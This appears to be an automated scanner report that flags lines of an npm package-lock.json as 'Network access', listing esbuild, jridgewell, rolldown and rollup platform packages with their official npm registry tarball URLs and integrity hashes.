    "node_modules/@esbuild/darwin-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",
  • Network accessline 392
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",       "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==",
  • Network accessline 393
    "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",
  • Network accessline 408
    "node_modules/@esbuild/freebsd-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",
  • Network accessline 409
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",       "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==",
  • Network accessline 410
    "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",
  • Network accessline 425
    "node_modules/@esbuild/freebsd-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",
  • Network accessline 426
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",       "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==",
  • Network accessline 427
    "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",
  • Network accessline 442
    "node_modules/@esbuild/linux-arm": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",
  • Network accessline 443
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",       "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==",
  • Network accessline 444
    "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",
  • Network accessline 459
    "node_modules/@esbuild/linux-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",
  • Network accessline 460
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",       "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==",
  • Network accessline 461
    "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",
  • Network accessline 476
    "node_modules/@esbuild/linux-ia32": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",
  • Network accessline 477
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",       "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==",
  • Network accessline 478
    "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",
  • Network accessline 493
    "node_modules/@esbuild/linux-loong64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",
  • Network accessline 494
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",       "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==",
  • Network accessline 495
    "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",
  • Network accessline 510
    "node_modules/@esbuild/linux-mips64el": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",
  • Network accessline 511
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",       "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==",
  • Network accessline 512
    "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",
  • Network accessline 527
    "node_modules/@esbuild/linux-ppc64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",
  • Network accessline 528
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",       "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==",
  • Network accessline 529
    "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",
  • Network accessline 544
    "node_modules/@esbuild/linux-riscv64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",
  • Network accessline 545
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",       "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==",
  • Network accessline 546
    "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",
  • Network accessline 561
    "node_modules/@esbuild/linux-s390x": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",
  • Network accessline 562
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",       "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==",
  • Network accessline 563
    "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",
  • Network accessline 578
    "node_modules/@esbuild/linux-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",
  • Network accessline 579
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",       "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==",
  • Network accessline 580
    "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",
  • Network accessline 595
    "node_modules/@esbuild/netbsd-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",
  • Network accessline 596
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",       "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==",
  • Network accessline 597
    "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",
  • Network accessline 612
    "node_modules/@esbuild/netbsd-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",
  • Network accessline 613
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",       "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==",
  • Network accessline 614
    "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",
  • Network accessline 629
    "node_modules/@esbuild/openbsd-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",
  • Network accessline 630
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",       "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==",
  • Network accessline 631
    "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",
  • Network accessline 646
    "node_modules/@esbuild/openbsd-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",
  • Network accessline 647
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",       "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==",
  • Network accessline 648
    "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",
  • Network accessline 663
    "node_modules/@esbuild/openharmony-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",
  • Network accessline 664
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",       "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdA
  • Network accessline 665
    "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",
  • Network accessline 680
    "node_modules/@esbuild/sunos-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",
  • Network accessline 681
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",       "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==",
  • Network accessline 682
    "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",
  • Network accessline 697
    "node_modules/@esbuild/win32-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",
  • Network accessline 698
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",       "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==",
  • Network accessline 699
    "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",
  • Network accessline 714
    "node_modules/@esbuild/win32-ia32": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",
  • Network accessline 715
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",       "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==",
  • Network accessline 716
    "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",
  • Network accessline 731
    "node_modules/@esbuild/win32-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",
  • Network accessline 732
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",       "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==",
  • Network accessline 733
    "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",
  • Network accessline 748
    "node_modules/@jridgewell/gen-mapping": {       "version": "0.3.13",       "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
  • Network accessline 749
    "version": "0.3.13",       "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",       "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==",
  • Network accessline 750
    "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
  • Network accessline 759
    "node_modules/@jridgewell/remapping": {       "version": "2.3.5",       "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",
  • Network accessline 760
    "version": "2.3.5",       "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",       "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==",
  • Network accessline 761
    "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",
  • Network accessline 770
    "node_modules/@jridgewell/resolve-uri": {       "version": "3.1.2",       "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
  • Network accessline 771
    "version": "3.1.2",       "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",       "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
  • Network accessline 772
    "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
  • Network accessline 780
    "node_modules/@jridgewell/sourcemap-codec": {       "version": "1.5.5",       "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
  • Network accessline 781
    "version": "1.5.5",       "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",       "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="
  • Network accessline 782
    "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
  • Network accessline 787
    "node_modules/@jridgewell/trace-mapping": {       "version": "0.3.31",       "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
  • Network accessline 788
    "version": "0.3.31",       "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",       "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==",
  • Network accessline 789
    "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
  • Network accessline 798
    "node_modules/@rolldown/pluginutils": {       "version": "1.0.0-beta.27",       "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz",
  • Network accessline 799
    "version": "1.0.0-beta.27",       "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz",       "integrity": "sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAn
  • Network accessline 800
    "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz",
  • Network accessline 805
    "node_modules/@rollup/rollup-android-arm-eabi": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.54.0.tgz",
  • Network accessline 806
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.54.0.tgz",       "integrity": "sha512-OywsdRHrFvCdvsewAInDKCNyR3laPA2mc9bRYJ6LBp5IyvF3fvXbbNR0bSzHlZVFtn6E0xw2oZl
  • Network accessline 807
    "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.54.0.tgz",
  • Network accessline 819
    "node_modules/@rollup/rollup-android-arm64": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.54.0.tgz",
  • Network accessline 820
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.54.0.tgz",       "integrity": "sha512-Skx39Uv+u7H224Af+bDgNinitlmHyQX1K/atIA32JP3JQw6hVODX5tkbi2zof/E69M1qH2UoN3Xdxgs90
  • Network accessline 821
    "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.54.0.tgz",
  • Network accessline 833
    "node_modules/@rollup/rollup-darwin-arm64": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.54.0.tgz",
  • Network accessline 834
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.54.0.tgz",       "integrity": "sha512-k43D4qta/+6Fq+nCDhhv9yP2HdeKeP56QrUUTW7E6PhZP1US6NDqpJj4MY0jBHlJivVJD5P8NxrjuobZBJT
  • Network accessline 835
    "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.54.0.tgz",
  • Network accessline 847
    "node_modules/@rollup/rollup-darwin-x64": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.54.0.tgz",
  • Network accessline 848
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.54.0.tgz",       "integrity": "sha512-cOo7biqwkpawslEfox5Vs8/qj83M/aZCSSNIWpVzfU2CYHa2G3P1UN5WF01RdTHSgCkri7XOlTdtk17BezlV3A=
  • Network accessline 849
    "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.54.0.tgz",
  • Network accessline 861
    "node_modules/@rollup/rollup-freebsd-arm64": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.54.0.tgz",
  • Network accessline 862
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.54.0.tgz",       "integrity": "sha512-miSvuFkmvFbgJ1BevMa4CPCFt5MPGw094knM64W9I0giUIMMmRYcGW/JWZDriaw/k1kOBtsWh1z6nIFV1
  • Network accessline 863
    "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.54.0.tgz",
  • Network accessline 875
    "node_modules/@rollup/rollup-freebsd-x64": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.54.0.tgz",
  • Network accessline 876
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.54.0.tgz",       "integrity": "sha512-KGXIs55+b/ZfZsq9aR026tmr/+7tq6VG6MsnrvF4H8VhwflTIuYh+LFUlIsRdQSgrgmtM3fVATzEAj4hBQlaq
  • Network accessline 877
    "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.54.0.tgz",
  • Network accessline 889
    "node_modules/@rollup/rollup-linux-arm-gnueabihf": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.54.0.tgz",
  • Network accessline 890
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.54.0.tgz",       "integrity": "sha512-EHMUcDwhtdRGlXZsGSIuXSYwD5kOT9NVnx9sqzYiwAc91wfYOE1g1djOEDseZJKKqtHAH
  • Network accessline 891
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.54.0.tgz",
  • Network accessline 903
    "node_modules/@rollup/rollup-linux-arm-musleabihf": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.54.0.tgz",
  • Network accessline 904
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.54.0.tgz",       "integrity": "sha512-+pBrqEjaakN2ySv5RVrj/qLytYhPKEUwk+e3SFU5jTLHIcAtqh2rLrd/OkbNuHJpsBg
  • Network accessline 905
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.54.0.tgz",
  • Network accessline 917
    "node_modules/@rollup/rollup-linux-arm64-gnu": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.54.0.tgz",
  • Network accessline 918
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.54.0.tgz",       "integrity": "sha512-NSqc7rE9wuUaRBsBp5ckQ5CVz5aIRKCwsoa6WMF7G01sX3/qHUw/z4pv+D+ahL1EIKy6Enpcnz1RY
  • Network accessline 919
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.54.0.tgz",
  • Network accessline 931
    "node_modules/@rollup/rollup-linux-arm64-musl": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.54.0.tgz",
  • Network accessline 932
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.54.0.tgz",       "integrity": "sha512-gr5vDbg3Bakga5kbdpqx81m2n9IX8M6gIMlQQIXiLTNeQW6CucvuInJ91EuCJ/JYvc+rcLLsDFc
  • Network accessline 933
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.54.0.tgz",
  • Network accessline 945
    "node_modules/@rollup/rollup-linux-loong64-gnu": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.54.0.tgz",
  • Network accessline 946
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.54.0.tgz",       "integrity": "sha512-gsrtB1NA3ZYj2vq0Rzkylo9ylCtW/PhpLEivlgWe0bpgtX5+9j9EZa0wtZiCjgu6zmSeZWyI/
  • Network accessline 947
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.54.0.tgz",
  • Network accessline 959
    "node_modules/@rollup/rollup-linux-ppc64-gnu": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.54.0.tgz",
  • Network accessline 960
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.54.0.tgz",       "integrity": "sha512-y3qNOfTBStmFNq+t4s7Tmc9hW2ENtPg8FeUD/VShI7rKxNW7O4fFeaYbMsd3tpFlIg1Q8IapFgy7Q
  • Network accessline 961
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.54.0.tgz",
  • Network accessline 973
    "node_modules/@rollup/rollup-linux-riscv64-gnu": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.54.0.tgz",
  • Network accessline 974
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.54.0.tgz",       "integrity": "sha512-89sepv7h2lIVPsFma8iwmccN7Yjjtgz0Rj/Ou6fEqg3HDhpCa+Et+YSufy27i6b0Wav69Qv4W
  • Network accessline 975
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.54.0.tgz",
  • Network accessline 987
    "node_modules/@rollup/rollup-linux-riscv64-musl": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.54.0.tgz",
  • Network accessline 988
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.54.0.tgz",       "integrity": "sha512-ZcU77ieh0M2Q8Ur7D5X7KvK+UxbXeDHwiOt/CPSBTI1fBmeDMivW0dPkdqkT4rOgDjrDDBU
  • Network accessline 989
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.54.0.tgz",
  • Network accessline 1001
    "node_modules/@rollup/rollup-linux-s390x-gnu": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.54.0.tgz",
  • Network accessline 1002
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.54.0.tgz",       "integrity": "sha512-2AdWy5RdDF5+4YfG/YesGDDtbyJlC9LHmL6rZw6FurBJ5n4vFGupsOBGfwMRjBYH7qRQowT8D/U4L
  • Network accessline 1003
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.54.0.tgz",
  • Network accessline 1015
    "node_modules/@rollup/rollup-linux-x64-gnu": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.54.0.tgz",
  • Network accessline 1016
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.54.0.tgz",       "integrity": "sha512-WGt5J8Ij/rvyqpFexxk3ffKqqbLf9AqrTBbWDk7ApGUzaIs6V+s2s84kAxklFwmMF/vBNGrVdYgbblCOF
  • Network accessline 1017
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.54.0.tgz",
  • Network accessline 1029
    "node_modules/@rollup/rollup-linux-x64-musl": {       "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.54.0.tgz",
  • Network accessline 1030
    "version": "4.54.0",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.54.0.tgz",       "integrity": "sha512-JzQmb38ATzHjxlPHuTH6tE7ojnMKM2kYNzt44LO/jJi8BpceEC8QuXYA908n8r3CNuG/B3BV8VR3Hi1
  • Network accessline 1031
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.54.0.tgz",
  • Network accessline 1043
